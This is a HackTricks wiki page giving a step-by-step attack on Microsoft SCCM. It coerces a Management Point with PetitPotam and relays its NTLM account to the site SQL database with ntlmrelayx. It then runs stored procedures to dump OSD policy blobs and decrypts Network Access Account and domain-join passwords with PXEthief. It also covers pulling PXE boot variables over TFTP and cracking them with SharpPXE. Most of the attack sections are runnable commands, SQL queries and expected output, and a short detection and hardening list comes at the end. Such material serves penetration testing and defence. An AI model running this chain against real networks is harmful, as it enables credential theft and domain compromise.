sccm-management-point-relay-sql-policy-secrets.md (8496B)
1 --- 2 title: "SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction 14 15 ## TL;DR 16 By coercing a **System Center Configuration Manager (SCCM) Management Point (MP)** to authenticate over SMB/RPC and **relaying** that NTLM machine account to the **site database (MSSQL)** you obtain `smsdbrole_MP` / `smsdbrole_MPUserSvc` rights. These roles let you call a set of stored procedures that expose **Operating System Deployment (OSD)** policy blobs (Network Access Account credentials, Task-Sequence variables, etc.). The blobs are hex-encoded/encrypted but can be decoded and decrypted with **PXEthief**, yielding plaintext secrets.<sup>[[2]](#references)</sup> 17 18 High-level chain: 19 1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`. 20 2. Start `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`. 21 3. Coerce MP using **PetitPotam**, PrinterBug, DFSCoerce, etc. 22 4. Through the SOCKS proxy connect with `mssqlclient.py -windows-auth` as the relayed **<DOMAIN>\\<MP-host>$** account. 23 5. Execute: 24 * `use CM_<SiteCode>` 25 * `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''` 26 * `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (or `MP_GetPolicyBodyAfterAuthorization`) 27 6. Strip `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`. 28 29 Secrets such as `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, etc. are recovered without touching PXE or clients.<sup>[[1]](#references)[[3]](#references)</sup> 30 31 --- 32 33 ## 1. Enumerating unauthenticated MP endpoints 34 The MP ISAPI extension **GetAuth.dll** exposes several parameters that don’t require authentication (unless the site is PKI-only):<sup>[[1]](#references)</sup> 35 36 | Parameter | Purpose | 37 |-----------|---------| 38 | `MPKEYINFORMATIONMEDIA` | Returns site signing cert public key + GUIDs of *x86* / *x64* **All Unknown Computers** devices. | 39 | `MPLIST` | Lists every Management-Point in the site. | 40 | `SITESIGNCERT` | Returns Primary-Site signing certificate (identify the site server without LDAP). | 41 42 Grab the GUIDs that will act as the **clientID** for later DB queries: 43 ```bash 44 curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format - 45 ``` 46 47 --- 48 49 ## 2. Relay the MP machine account to MSSQL 50 ```bash 51 # 1. Start the relay listener (SMB→TDS) 52 ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support 53 54 # 2. Trigger authentication from the MP (PetitPotam example) 55 python3 PetitPotam.py 10.10.10.20 10.10.10.99 \ 56 -u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10 57 ``` 58 When the coercion fires you should see something like: 59 ```text 60 [*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED 61 [*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433) 62 ``` 63 64 --- 65 66 ## 3. Identify OSD policies via stored procedures 67 Connect through the SOCKS proxy (port 1080 by default):<sup>[[1]](#references)</sup> 68 ```bash 69 proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth 70 ``` 71 Switch to the **CM_<SiteCode>** DB (use the 3-digit site code, e.g. `CM_001`). 72 73 ### 3.1 Find Unknown-Computer GUIDs (optional) 74 ```sql 75 USE CM_001; 76 SELECT SMS_Unique_Identifier0 77 FROM dbo.UnknownSystem_DISC 78 WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86 79 ``` 80 81 ### 3.2 List assigned policies 82 ```sql 83 EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''; 84 ``` 85 Each row contains `PolicyAssignmentID`,`Body` (hex), `PolicyID`, `PolicyVersion`. 86 87 Focus on policies: 88 * **NAAConfig** – Network Access Account creds 89 * **TS_Sequence** – Task Sequence variables (OSDJoinAccount/Password) 90 * **CollectionSettings** – Can contain run-as accounts 91 92 ### 3.3 Retrieve full body 93 If you already have `PolicyID` & `PolicyVersion` you can skip the clientID requirement using: 94 ```sql 95 EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'; 96 ``` 97 > IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated. 98 99 --- 100 101 ## 4. Decode & decrypt the blob 102 ```bash 103 # Remove the UTF-16 BOM, convert from hex → XML 104 echo 'fffe3c003f0078…' | xxd -r -p > policy.xml 105 106 # Decrypt with PXEthief (7 = decrypt attribute value) 107 python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml) 108 ``` 109 Recovered secrets example: 110 ```text 111 OSDJoinAccount : CONTOSO\\joiner 112 OSDJoinPassword: SuperSecret2025! 113 NetworkAccessUsername: CONTOSO\\SCCM_NAA 114 NetworkAccessPassword: P4ssw0rd123 115 ``` 116 117 --- 118 119 ## 5. Relevant SQL roles & procedures 120 Upon relay the login is mapped to:<sup>[[1]](#references)</sup> 121 * `smsdbrole_MP` 122 * `smsdbrole_MPUserSvc` 123 124 These roles expose dozens of EXEC permissions, the key ones used in this attack are: 125 126 | Stored Procedure | Purpose | 127 |------------------|---------| 128 | `MP_GetMachinePolicyAssignments` | List policies applied to a `clientID`. | 129 | `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Return complete policy body. | 130 | `MP_GetListOfMPsInSiteOSD` | Returned by `MPKEYINFORMATIONMEDIA` path. | 131 132 You can inspect the full list with: 133 ```sql 134 SELECT pr.name 135 FROM sys.database_principals AS dp 136 JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id 137 JOIN sys.objects AS pr ON pr.object_id = pe.major_id 138 WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc') 139 AND pe.permission_name='EXECUTE'; 140 ``` 141 142 --- 143 144 ## 6. PXE boot media harvesting (SharpPXE) 145 * **PXE reply over UDP/4011**: send a PXE boot request to a Distribution Point configured for PXE. The proxyDHCP response reveals boot paths such as `SMSBoot\\x64\\pxe\\variables.dat` (encrypted config) and `SMSBoot\\x64\\pxe\\boot.bcd`, plus an optional encrypted key blob.<sup>[[4]](#references)</sup> 146 * **Retrieve boot artifacts via TFTP**: use the returned paths to download `variables.dat` over TFTP (unauthenticated). The file is small (a few KB) and contains the encrypted media variables. 147 * **Decrypt or crack**: 148 - If the response includes the decryption key, feed it to **SharpPXE** to decrypt `variables.dat` directly. 149 - If no key is provided (PXE media protected by a custom password), SharpPXE emits a **Hashcat-compatible** `$sccm$aes128$...` hash for offline cracking. After recovering the password, decrypt the file. 150 * **Parse decrypted XML**: plaintext variables contain SCCM deployment metadata (**Management Point URL**, **Site Code**, media GUIDs, and other identifiers). SharpPXE parses them and prints a ready-to-run **SharpSCCM** command with GUID/PFX/site parameters prefilled for follow-on abuse. 151 * **Requirements**: only network reachability to the PXE listener (UDP/4011) and TFTP; no local admin privileges are needed. 152 153 --- 154 155 ## 7. Detection & Hardening 156 1. **Monitor MP logins** – any MP computer account logging in from an IP that isn’t its host ≈ relay.<sup>[[1]](#references)</sup> 157 2. Enable **Extended Protection for Authentication (EPA)** on the site database (`PREVENT-14`). 158 3. Disable unused NTLM, enforce SMB signing, restrict RPC ( 159 same mitigations used against `PetitPotam`/`PrinterBug`). 160 4. Harden MP ↔ DB communication with IPSec / mutual-TLS. 161 5. **Constrain PXE exposure** – firewall UDP/4011 and TFTP to trusted VLANs, require PXE passwords, and alert on TFTP downloads of `SMSBoot\\*\\pxe\\variables.dat`.<sup>[[4]](#references)</sup> 162 163 --- 164 165 ## See also 166 * NTLM relay fundamentals: 167 168 [Readme](/hacktricks/windows-hardening/ntlm/overview) 169 170 * MSSQL abuse & post-exploitation: 171 172 [Abusing Ad Mssql](/hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql) 173 174 ## References 175 - [1] [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/) 176 - [2] [PXEthief](https://github.com/MWR-CyberSec/PXEThief) 177 - [3] [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager) 178 - [4] [SharpPXE](https://github.com/leftp/SharpPXE)